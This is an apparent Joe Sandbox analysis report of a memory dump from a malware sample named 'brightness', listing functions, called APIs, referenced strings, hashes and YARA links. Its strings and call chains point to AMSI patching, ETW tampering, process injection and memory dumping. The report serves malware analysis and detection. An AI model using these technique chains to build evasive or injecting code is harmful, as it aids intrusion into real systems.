Opcode ID: 2ce24ababce6ca6f7eafc07a418bbf65f452b31757eb2f10f0128c9f2612447b
Instruction ID: 7d98cfb5893a908f42111436f4ba976749917a8fb20798bc887b1d04bd31a9d0
Opcode Fuzzy Hash: 2ce24ababce6ca6f7eafc07a418bbf65f452b31757eb2f10f0128c9f2612447b
Instruction Fuzzy Hash: 4C0167B5A453486EEB16E7B08D95BCDB7BDAF54B00F6000FA9200E6091DA74AB048B21

Function 027CDE78 Relevance: 4.5, APIs: 3, Instructions: 45filenativeCOMMON

Download Yara Rule

APIs

Part of subcall function 027B4ECC: SysAllocStringLen.OLEAUT32(?,?), ref: 027B4EDA

RtlInitUnicodeString.NTDLL(?,?), ref: 027CDEA0
RtlDosPathNameToNtPathName_U.N(00000000,?,00000000,00000000,00000000,027CDEF2), ref: 027CDEB6
NtDeleteFile.NTDLL(?), ref: 027CDED5

Part of subcall function 027B4C0C: SysFreeString.OLEAUT32(027CED84), ref: 027B4C1A

Memory Dump Source

Source File: 00000007.00000002.2131732138.00000000027B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 027B0000, based on PE: true

Associated: 00000007.00000002.2131700334.00000000027B0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132053873.00000000027DE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132250802.0000000002812000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132310933.0000000002906000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132310933.0000000002909000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_27b0000_brightness.jbxd

Similarity

API ID: String$Path$AllocDeleteFileFreeInitNameName_Unicode
String ID:
API String ID: 1694942484-0
Opcode ID: 3a817f9686b4c7db5811e92c7d4fa8b5ca9fd98aaa395154757d53a2dff46c0e
Instruction ID: 403c081a4e4581e767b927489344e356a5e1c14781bf5d60998faffe1879dd58
Opcode Fuzzy Hash: 3a817f9686b4c7db5811e92c7d4fa8b5ca9fd98aaa395154757d53a2dff46c0e
Instruction Fuzzy Hash: E0011CB5940308BAD712EBF0CD55FDEB7FDDB54700F6044B5A601E2581EB74AB048A64

Function 027C6D48 Relevance: 1.5, APIs: 1, Instructions: 48comCOMMON

Download Yara Rule

APIs

Part of subcall function 027C6CEC: CLSIDFromProgID.OLE32(00000000,?,00000000,027C6D39,?,?,?,00000000), ref: 027C6D19

CoCreateInstance.OLE32(?,00000000,00000005,027C6E2C,00000000,00000000,027C6DAB,?,00000000,027C6E1B), ref: 027C6D97

Memory Dump Source

Source File: 00000007.00000002.2131732138.00000000027B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 027B0000, based on PE: true

Associated: 00000007.00000002.2131700334.00000000027B0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132053873.00000000027DE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132250802.0000000002812000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132310933.0000000002906000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132310933.0000000002909000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_27b0000_brightness.jbxd

Similarity

API ID: CreateFromInstanceProg
String ID:
API String ID: 2151042543-0
Opcode ID: 60b5186968cd136ee0db88e4193ac70b5d0866fa9dccd702321f039f026af41a
Instruction ID: b839cb2082419901345c8b8efea76418c09f3280c04fdcad111465aad08485c4
Opcode Fuzzy Hash: 60b5186968cd136ee0db88e4193ac70b5d0866fa9dccd702321f039f026af41a
Instruction Fuzzy Hash: 4201F7B12087046EE716DF71DCA696B7FADEB89B10B61087EF501D2640E6309910C860

Function 027D7CAC Relevance: 160.3, APIs: 5, Strings: 85, Instructions: 2771
processthreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 027C881C: LoadLibraryA.KERNEL32(00000000,00000000,027C8903), ref: 027C8850
Part of subcall function 027C881C: GetModuleHandleA.KERNEL32(00000000,00000000,00000000,027C8903), ref: 027C8860
Part of subcall function 027C881C: GetProcAddress.KERNEL32(74AD0000,00000000), ref: 027C8879
Part of subcall function 027C881C: FreeLibrary.KERNEL32(74AD0000,00000000,02812388,Function_000065D8,00000004,02812398,02812388,000186A3,00000040,0281239C,74AD0000,00000000,00000000,00000000,00000000,027C8903), ref: 027C88E3

CreateProcessAsUserW.ADVAPI32(00000000,00000000,00000000,00000000,00000000,00000000,00000004,00000000,00000000,029067DC,02906820,OpenSession,0281237C,027DB40C,UacScan,0281237C), ref: 027D826D
ResumeThread.KERNEL32(00000000,ScanBuffer,0281237C,027DB40C,OpenSession,0281237C,027DB40C,UacScan,0281237C,027DB40C,ScanBuffer,0281237C,027DB40C,OpenSession,0281237C,027DB40C), ref: 027D88B7
CloseHandle.KERNEL32(00000000,ScanBuffer,0281237C,027DB40C,OpenSession,0281237C,027DB40C,UacScan,0281237C,027DB40C,00000000,ScanBuffer,0281237C,027DB40C,OpenSession,0281237C), ref: 027D8A36

Part of subcall function 027C8798: LoadLibraryW.KERNEL32(bcrypt,?,000005DC,00000000,028123A4,027CA3BF,ScanString,028123A4,027CA774,ScanBuffer,028123A4,027CA774,Initialize,028123A4,027CA774,UacScan), ref: 027C87AC
Part of subcall function 027C8798: GetProcAddress.KERNEL32(00000000,BCryptVerifySignature), ref: 027C87C6
Part of subcall function 027C8798: FreeLibrary.KERNEL32(00000000,00000000,BCryptVerifySignature,bcrypt,?,000005DC,00000000,028123A4,027CA3BF,ScanString,028123A4,027CA774,ScanBuffer,028123A4,027CA774,Initialize), ref: 027C8802

CloseHandle.KERNEL32(00000000,00000000,ScanBuffer,0281237C,027DB40C,UacInitialize,0281237C,027DB40C,ScanBuffer,0281237C,027DB40C,OpenSession,0281237C,027DB40C,UacScan,0281237C), ref: 027D8E28

Part of subcall function 027B7E10: GetFileAttributesA.KERNEL32(00000000,?,027CFD00,ScanString,0281237C,027DB40C,OpenSession,0281237C,027DB40C,ScanString,0281237C,027DB40C,UacScan,0281237C,027DB40C,UacInitialize), ref: 027B7E1B

Part of subcall function 027CDF00: RtlDosPathNameToNtPathName_U.N(00000000,?,00000000,00000000,00000000,027CDFD2), ref: 027CDF3F
Part of subcall function 027CDF00: NtCreateFile.N(?,00100002,?,?,00000000,00000000,00000001,00000002,00000020,00000000,00000000,00000000,?,00000000,00000000,00000000), ref: 027CDF79
Part of subcall function 027CDF00: NtWriteFile.N(?,00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,00100002,?,?,00000000,00000000,00000001), ref: 027CDFA6
Part of subcall function 027CDF00: NtClose.N(?,?,00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,00100002,?,?,00000000,00000000), ref: 027CDFAF

Part of subcall function 027C8184: FlushInstructionCache.KERNEL32(?,?,?,00000000,Kernel32,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,027C820E), ref: 027C81F0

ExitProcess.KERNEL32(00000000,OpenSession,0281237C,027DB40C,ScanBuffer,0281237C,027DB40C,Initialize,0281237C,027DB40C,00000000,00000000,00000000,ScanString,0281237C,027DB40C), ref: 027DAE59

Strings

LdrLoadDll, xrefs: 027DABA8
EnumProcessModules, xrefs: 027DA54D
NtDeviceIoControlFile, xrefs: 027DA4E4
NtGetWriteWatch, xrefs: 027DA9DD
Ntdll, xrefs: 027DA4DA, 027DA4E9, 027DA4F8, 027DA507
CreateProcessAsUserW, xrefs: 027DA589, 027DA5A7
CryptSIPVerifyIndirectData, xrefs: 027D9CDA
NtOpenFile, xrefs: 027DAC41
NtMapViewOfSection, xrefs: 027DAADC
EtwEventWriteEx, xrefs: 027DAC74
ScanBuffer, xrefs: 027D80AD, 027D837A, 027D8520, 027D86AD, 027D8841, 027D89C0, 027D8C37, 027D8D2F, 027D914B, 027D9424, 027D9598, 027D97CE, 027D9860, 027D9B98, 027D9F36, 027DA465, 027DAD6B
NtWriteVirtualMemory, xrefs: 027DAC0E
UacScan, xrefs: 027D7FA0, 027D8129, 027D8282, 027D8428, 027D85B5, 027D8749, 027D88C8, 027D8B3F, 027D8FAD, 027D91C7, 027D93A8, 027D951C, 027D9752, 027DA5C2
NtOpenSection, xrefs: 027DAA76
endpointdlp, xrefs: 027D9FC3, 027D9FF6, 027DA029, 027DA05C
EtwEventWrite, xrefs: 027DACA7
C:\Windows\System32\, xrefs: 027D8237
NtSetSecurityObject, xrefs: 027D8DFA
I_QueryTagInformation, xrefs: 027D8DBE
EnumServicesStatusW, xrefs: 027DA520
RtlAllocateHeap, xrefs: 027DA1A3, 027DA209
SLIsGenuineLocalEx, xrefs: 027D9A34
SLGatherMigrationBlob, xrefs: 027DA977
DlpGetWebSiteAccess, xrefs: 027DA045
ScanString, xrefs: 027D7DB0, 027D801C, 027D8AC3, 027D8EB5, 027D929E, 027D965A, 027D9958, 027D9D13, 027DA0FA, 027DA2F1, 027DA89B
DlpNotifyPreDragDrop, xrefs: 027D9FAC
psapi, xrefs: 027DA552
sppwmi, xrefs: 027DA95B
NtReadVirtualMemory, xrefs: 027DAB0F
Kernel32, xrefs: 027DA561, 027DA570, 027DA5AC
RetailTracerEnable, xrefs: 027D9C0E
CreateProcessW, xrefs: 027DA56B
spp, xrefs: 027D9C58, 027D9C8B, 027DA928
NtWaitForSingleObject, xrefs: 027DA1D6
kernel32, xrefs: 027DA64F, 027DA682, 027DA6B5, 027DA6E8, 027DA71B, 027DA74E, 027DA781
NtQueryInformationThread, xrefs: 027DAA43
CreateProcessWithLogonW, xrefs: 027DA598
MiniDumpReadDumpStream, xrefs: 027D8DE6
LdrGetProcedureAddress, xrefs: 027DABDB
DlpGetArchiveFileTraceInfo, xrefs: 027DA012
EnumServicesStatusA, xrefs: 027DA511
ntdll, xrefs: 027D8DAF, 027D8DFF, 027D8E13, 027DA187, 027DA1BA, 027DA1ED, 027DA220, 027DA253, 027DA9F4, 027DAA27, 027DAA5A, 027DAA8D, 027DAAC0, 027DAAF3, 027DAB26, 027DAB59, 027DAB8C, 027DABBF, 027DABF2, 027DAC25, 027DAC58, 027DAC8B, 027DACBE
VirtualProtect, xrefs: 027DA69E
NtQuerySecurityObject, xrefs: 027DAB42
CreateProcessAsUserA, xrefs: 027DA57A
NtOpenObjectAuditAlarm, xrefs: 027D8DAA
SLLoadApplicationPolicies, xrefs: 027D9A67
dbgcore, xrefs: 027D8DD7, 027D8DEB
mssip32, xrefs: 027D9CF1
WriteVirtualMemory, xrefs: 027DA704
BCryptVerifySignature, xrefs: 027D9E05
FlushInstructionCache, xrefs: 027DA737
Advapi, xrefs: 027DA516, 027DA525, 027DA534, 027DA543, 027DA57F, 027DA58E, 027DA59D
NtCreateSection, xrefs: 027DAAA9
UacInitialize, xrefs: 027D8CB3, 027D90CF
VirtualAllocEx, xrefs: 027DA66B
tquery, xrefs: 027D9C25
RtlQueryProcessDebugInformation, xrefs: 027DA502
NtQueryDirectoryFile, xrefs: 027DA4F3
EnumServicesStatusExA, xrefs: 027DA52F
sppc, xrefs: 027D99E5, 027D9A18, 027D9A4B, 027D9A7E, 027DA98E, 027DA9C1
GetProcessMemoryInfo, xrefs: 027D9CA7
OpenProcess, xrefs: 027DA6D1
psapi, xrefs: 027D9CBE
VirtualAlloc, xrefs: 027DA638
DlpCheckIsCloudSyncApp, xrefs: 027D9FDF
DllGetClassObject, xrefs: 027D9C74, 027DA944
CreateProcessA, xrefs: 027DA55C
NtQueryVirtualMemory, xrefs: 027DAA10
OpenSession, xrefs: 027D7CB8, 027D7E2C, 027D7EA8, 027D81A5, 027D82FE, 027D84A4, 027D8631, 027D87C5, 027D8944, 027D8A47, 027D8BBB, 027D8E39, 027D9029, 027D931A, 027D94A0, 027D96D6, 027D98DC, 027D9AA0, 027D9D8F, 027D9E3E, 027DA07E, 027DA275, 027DA36D, 027DA81F, 027DADE7
bcrypt, xrefs: 027D9E1C
EnumServicesStatusExW, xrefs: 027DA53E
SLGetSLIDList, xrefs: 027D9A01
SLGetGenuineInformation, xrefs: 027D99CE
SLGetEncryptedPIDEx, xrefs: 027DA9AA
SxTracerGetThreadContextDebug, xrefs: 027D9C41, 027DA911
Initialize, xrefs: 027D7D34, 027D7F24, 027D8F31, 027D9B1C, 027D9EBA, 027DA3E9, 027DA7A3, 027DACEF
RtlCreateQueryDebugBuffer, xrefs: 027DA23C
NtAlertResumeThread, xrefs: 027DA170
NtAccessCheck, xrefs: 027DAB75
NtOpenProcess, xrefs: 027D8E0E
MiniDumpWriteDump, xrefs: 027D8DD2
NtQuerySystemInformation, xrefs: 027DA4D5
SetUnhandledExceptionFilter, xrefs: 027DA76A
advapi32, xrefs: 027D8DC3

Memory Dump Source

Source File: 00000007.00000002.2131732138.00000000027B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 027B0000, based on PE: true

Associated: 00000007.00000002.2131700334.00000000027B0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132053873.00000000027DE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132250802.0000000002812000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132310933.0000000002906000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132310933.0000000002909000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_27b0000_brightness.jbxd

Similarity

API ID: Library$CloseFileHandle$AddressCreateFreeLoadPathProcProcess$AttributesCacheExitFlushInstructionModuleNameName_ResumeThreadUserWrite
String ID: Advapi$BCryptVerifySignature$C:\Windows\System32\$CreateProcessA$CreateProcessAsUserA$CreateProcessAsUserW$CreateProcessW$CreateProcessWithLogonW$CryptSIPVerifyIndirectData$DllGetClassObject$DlpCheckIsCloudSyncApp$DlpGetArchiveFileTraceInfo$DlpGetWebSiteAccess$DlpNotifyPreDragDrop$EnumProcessModules$EnumServicesStatusA$EnumServicesStatusExA$EnumServicesStatusExW$EnumServicesStatusW$EtwEventWrite$EtwEventWriteEx$FlushInstructionCache$GetProcessMemoryInfo$I_QueryTagInformation$Initialize$Kernel32$LdrGetProcedureAddress$LdrLoadDll$MiniDumpReadDumpStream$MiniDumpWriteDump$NtAccessCheck$NtAlertResumeThread$NtCreateSection$NtDeviceIoControlFile$NtGetWriteWatch$NtMapViewOfSection$NtOpenFile$NtOpenObjectAuditAlarm$NtOpenProcess$NtOpenSection$NtQueryDirectoryFile$NtQueryInformationThread$NtQuerySecurityObject$NtQuerySystemInformation$NtQueryVirtualMemory$NtReadVirtualMemory$NtSetSecurityObject$NtWaitForSingleObject$NtWriteVirtualMemory$Ntdll$OpenProcess$OpenSession$RetailTracerEnable$RtlAllocateHeap$RtlCreateQueryDebugBuffer$RtlQueryProcessDebugInformation$SLGatherMigrationBlob$SLGetEncryptedPIDEx$SLGetGenuineInformation$SLGetSLIDList$SLIsGenuineLocalEx$SLLoadApplicationPolicies$ScanBuffer$ScanString$SetUnhandledExceptionFilter$SxTracerGetThreadContextDebug$UacInitialize$UacScan$VirtualAlloc$VirtualAllocEx$VirtualProtect$WriteVirtualMemory$advapi32$bcrypt$dbgcore$endpointdlp$kernel32$mssip32$ntdll$psapi$psapi$spp$sppc$sppwmi$tquery
API String ID: 2481178504-1225450241
Opcode ID: 8ef6e57ff26d1b22db9b4a2797ef229f812aff735730c7936d8b285c682f4153
Instruction ID: d50b737b8f9889802133aef8bc90a8d94f944258647a40365826b09e77564bd5
Opcode Fuzzy Hash: 8ef6e57ff26d1b22db9b4a2797ef229f812aff735730c7936d8b285c682f4153
Instruction Fuzzy Hash: 7B430F75A101689FDB13EBA4DDA4ADE73F6EF98304F1180E5E009A7656DE30AE81CF11

Function 027B1724 Relevance: 9.0, APIs: 7, Instructions: 289
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000000,?,027B2000), ref: 027B17D0
Sleep.KERNEL32(0000000A,00000000,?,027B2000), ref: 027B17E6

Memory Dump Source

Source File: 00000007.00000002.2131732138.00000000027B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 027B0000, based on PE: true

Associated: 00000007.00000002.2131700334.00000000027B0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132053873.00000000027DE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132250802.0000000002812000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132310933.0000000002906000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132310933.0000000002909000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_27b0000_brightness.jbxd

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: c76a08a8d3c7cde21d65822eb164e636c9bf4e579673cd882a72baba69157ae0
Instruction ID: 7af89a056489cf8f53a59ca0993f65da4d6255b753ab2430e9f8bcd31ea0cc21
Opcode Fuzzy Hash: c76a08a8d3c7cde21d65822eb164e636c9bf4e579673cd882a72baba69157ae0
Instruction Fuzzy Hash: 6FB11576A002918FCB66CF28E4D4395BBE1FF95320F58C66AD5098B3C9CB70A451CB91

Function 027C8704 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 35
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryW.KERNEL32(amsi), ref: 027C870D

Part of subcall function 027C80C0: GetModuleHandleW.KERNEL32(Kernel32,00000000,00000000,027C8148,?,?,00000000,00000000,?,027C8061,00000000,KernelBASE,00000000,00000000,027C8088), ref: 027C810D
Part of subcall function 027C80C0: GetProcAddress.KERNEL32(00000000,Kernel32), ref: 027C8113
Part of subcall function 027C80C0: GetProcAddress.KERNEL32(?,?), ref: 027C8125

Part of subcall function 027C7CF8: NtWriteVirtualMemory.NTDLL(?,?,?,?,?), ref: 027C7D6C

FreeLibrary.KERNEL32(00000000,00000000,?,?,00000006,?,?,000003E7,00000040,?,00000000,DllGetClassObject), ref: 027C876C

Strings

DllGetClassObject, xrefs: 027C8732
W, xrefs: 027C8719
amsi, xrefs: 027C8708

Memory Dump Source

Source File: 00000007.00000002.2131732138.00000000027B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 027B0000, based on PE: true

Associated: 00000007.00000002.2131700334.00000000027B0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132053873.00000000027DE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132250802.0000000002812000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132310933.0000000002906000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132310933.0000000002909000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_27b0000_brightness.jbxd

Similarity

API ID: AddressLibraryProc$FreeHandleLoadMemoryModuleVirtualWrite
String ID: DllGetClassObject$W$amsi
API String ID: 941070894-2671292670
Opcode ID: 69c2975c11b323c5642dffbac1cbcbf6d787cbec8f1a582f9c751c479b8ae885
Instruction ID: bff44a2a9b06641b987374f820f7a1ef5090a829c14a72659e7e36aa5e985af6
Opcode Fuzzy Hash: 69c2975c11b323c5642dffbac1cbcbf6d787cbec8f1a582f9c751c479b8ae885
Instruction Fuzzy Hash: EAF0445054C382B9E203E6788C49F4BBFCD4B55324F148A5CB2E85A2D2DA75D1148BB7

Function 027B1A8C Relevance: 7.7, APIs: 6, Instructions: 175
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000000,?,?,00000000,027B1FE4), ref: 027B1B17
Sleep.KERNEL32(0000000A,00000000,?,?,00000000,027B1FE4), ref: 027B1B31

Memory Dump Source

Source File: 00000007.00000002.2131732138.00000000027B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 027B0000, based on PE: true

Associated: 00000007.00000002.2131700334.00000000027B0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132053873.00000000027DE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132250802.0000000002812000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132310933.0000000002906000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132310933.0000000002909000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_27b0000_brightness.jbxd

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: b8dae2bc2bb3a2dfd2068a7c7273de4f45ca1369e7183f08373a8c5254b24103
Instruction ID: 0b7aabe477abeeb5d86c353edc8501a2daccb61bcf56138ec4591a860eb0a3e3
Opcode Fuzzy Hash: b8dae2bc2bb3a2dfd2068a7c7273de4f45ca1369e7183f08373a8c5254b24103
Instruction Fuzzy Hash: 7051F175A012408FDB27CF6CD9E8796BBD0AF45314F9881AEE548CB2C6EB70D445CBA1

Function 027CE72A Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 112
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InternetCheckConnectionA.WININET(00000000,00000001,00000000), ref: 027CE86A

Strings

ScanBuffer, xrefs: 027CE7B3
Initialize, xrefs: 027CE75A
OpenSession, xrefs: 027CE80C

Memory Dump Source

Source File: 00000007.00000002.2131732138.00000000027B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 027B0000, based on PE: true

Associated: 00000007.00000002.2131700334.00000000027B0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132053873.00000000027DE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132250802.0000000002812000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132310933.0000000002906000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132310933.0000000002909000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_27b0000_brightness.jbxd

Similarity

API ID: CheckConnectionInternet
String ID: Initialize$OpenSession$ScanBuffer
API String ID: 3847983778-3852638603
Opcode ID: 8294ad94de7ad5947782b97e203fec1e65b17854d4b98dcdee8297232f0c1a1a
Instruction ID: 8151cc8c75433ae876b43281ae0d2eb54c218342c6b500a1bce96ad4257b3702
Opcode Fuzzy Hash: 8294ad94de7ad5947782b97e203fec1e65b17854d4b98dcdee8297232f0c1a1a
Instruction Fuzzy Hash: 4E41FB75B14109AFEB13EBB4D8A6BDEB7FAEF48710F214439E041A7646DA74AD018F10

Function 027C881C Relevance: 6.1, APIs: 4, Instructions: 65
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNEL32(00000000,00000000,027C8903), ref: 027C8850
GetModuleHandleA.KERNEL32(00000000,00000000,00000000,027C8903), ref: 027C8860
GetProcAddress.KERNEL32(74AD0000,00000000), ref: 027C8879

Part of subcall function 027C7CF8: NtWriteVirtualMemory.NTDLL(?,?,?,?,?), ref: 027C7D6C

FreeLibrary.KERNEL32(74AD0000,00000000,02812388,Function_000065D8,00000004,02812398,02812388,000186A3,00000040,0281239C,74AD0000,00000000,00000000,00000000,00000000,027C8903), ref: 027C88E3

Memory Dump Source

Source File: 00000007.00000002.2131732138.00000000027B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 027B0000, based on PE: true

Associated: 00000007.00000002.2131700334.00000000027B0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132053873.00000000027DE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132250802.0000000002812000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132310933.0000000002906000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132310933.0000000002909000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_27b0000_brightness.jbxd

Similarity

API ID: Library$AddressFreeHandleLoadMemoryModuleProcVirtualWrite
String ID:
API String ID: 1543721669-0
Opcode ID: ba7c0317d505ec8763b404a9c69e9927b717469cc8469c9f33d96a1d60449157
Instruction ID: 64a6557006d855ff6c8670c9a24835f4bbae8d67dce069baafd6cc0ccef495db
Opcode Fuzzy Hash: ba7c0317d505ec8763b404a9c69e9927b717469cc8469c9f33d96a1d60449157
Instruction Fuzzy Hash: 2F11B178A40318ABEB07FBB8DC29B8E77ADEF49700F5104287B14EB2D5CA3499108F15

Function 027C85D4 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 62processCOMMON

Download Yara Rule

APIs

Part of subcall function 027C8018: GetModuleHandleA.KERNEL32(KernelBASE,00000000,00000000,027C8088,?,?,00000000,?,027C79FE,ntdll,00000000,00000000,027C7A43,?,?,00000000), ref: 027C8056
Part of subcall function 027C8018: GetModuleHandleA.KERNELBASE(?), ref: 027C806A

Part of subcall function 027C80C0: GetModuleHandleW.KERNEL32(Kernel32,00000000,00000000,027C8148,?,?,00000000,00000000,?,027C8061,00000000,KernelBASE,00000000,00000000,027C8088), ref: 027C810D
Part of subcall function 027C80C0: GetProcAddress.KERNEL32(00000000,Kernel32), ref: 027C8113
Part of subcall function 027C80C0: GetProcAddress.KERNEL32(?,?), ref: 027C8125

CreateProcessAsUserW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00000000,Kernel32,00000000,00000000,00000000), ref: 027C8660

Strings

Kernel32, xrefs: 027C861F
CreateProcessAsUserW, xrefs: 027C85ED

Memory Dump Source

Source File: 00000007.00000002.2131732138.00000000027B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 027B0000, based on PE: true

Associated: 00000007.00000002.2131700334.00000000027B0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132053873.00000000027DE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132250802.0000000002812000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132310933.0000000002906000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132310933.0000000002909000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_27b0000_brightness.jbxd

Similarity

API ID: HandleModule$AddressProc$CreateProcessUser
String ID: CreateProcessAsUserW$Kernel32
API String ID: 3130163322-2353454454
Opcode ID: d8f6f2ab2f230db18d0dac2354102351158b9396580d60babe23a2101f8e1ed2
Instruction ID: dbe6b08eb1328ce404d6db82a70916c16846be591b8aa22e6decd555b7f18cc7
Opcode Fuzzy Hash: d8f6f2ab2f230db18d0dac2354102351158b9396580d60babe23a2101f8e1ed2
Instruction Fuzzy Hash: 981115B6600248AFDB42EFA8CC55F9B37EDEB0C710F624458FA08E7291C630E9108B61

Function 027C8406 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 46processCOMMON

Download Yara Rule

APIs

Part of subcall function 027C8018: GetModuleHandleA.KERNEL32(KernelBASE,00000000,00000000,027C8088,?,?,00000000,?,027C79FE,ntdll,00000000,00000000,027C7A43,?,?,00000000), ref: 027C8056
Part of subcall function 027C8018: GetModuleHandleA.KERNELBASE(?), ref: 027C806A

Part of subcall function 027C80C0: GetModuleHandleW.KERNEL32(Kernel32,00000000,00000000,027C8148,?,?,00000000,00000000,?,027C8061,00000000,KernelBASE,00000000,00000000,027C8088), ref: 027C810D
Part of subcall function 027C80C0: GetProcAddress.KERNEL32(00000000,Kernel32), ref: 027C8113
Part of subcall function 027C80C0: GetProcAddress.KERNEL32(?,?), ref: 027C8125

WinExec.KERNEL32(?,?), ref: 027C8470

Strings

Kernel32, xrefs: 027C8453
WinExec, xrefs: 027C8421

Memory Dump Source

Source File: 00000007.00000002.2131732138.00000000027B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 027B0000, based on PE: true

Associated: 00000007.00000002.2131700334.00000000027B0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132053873.00000000027DE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132250802.0000000002812000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132310933.0000000002906000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132310933.0000000002909000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_27b0000_brightness.jbxd

Similarity

API ID: HandleModule$AddressProc$Exec
String ID: Kernel32$WinExec
API String ID: 2292790416-3609268280
Opcode ID: c985a2021f86e25618f953fa269871b97f5eac9d00f49b598921652a86facb2c
Instruction ID: 5d79631fbf7965e4f4b4746ed68599c4faf8f73f8bb9f7f114962cbe7d7fdd36
Opcode Fuzzy Hash: c985a2021f86e25618f953fa269871b97f5eac9d00f49b598921652a86facb2c
Instruction Fuzzy Hash: 3601A479640204BFE713EFB4DC29F9A77EDEB48710F618868F900D7690D674AE108B26

Function 027C8408 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 45processCOMMON

Download Yara Rule

APIs

Part of subcall function 027C8018: GetModuleHandleA.KERNEL32(KernelBASE,00000000,00000000,027C8088,?,?,00000000,?,027C79FE,ntdll,00000000,00000000,027C7A43,?,?,00000000), ref: 027C8056
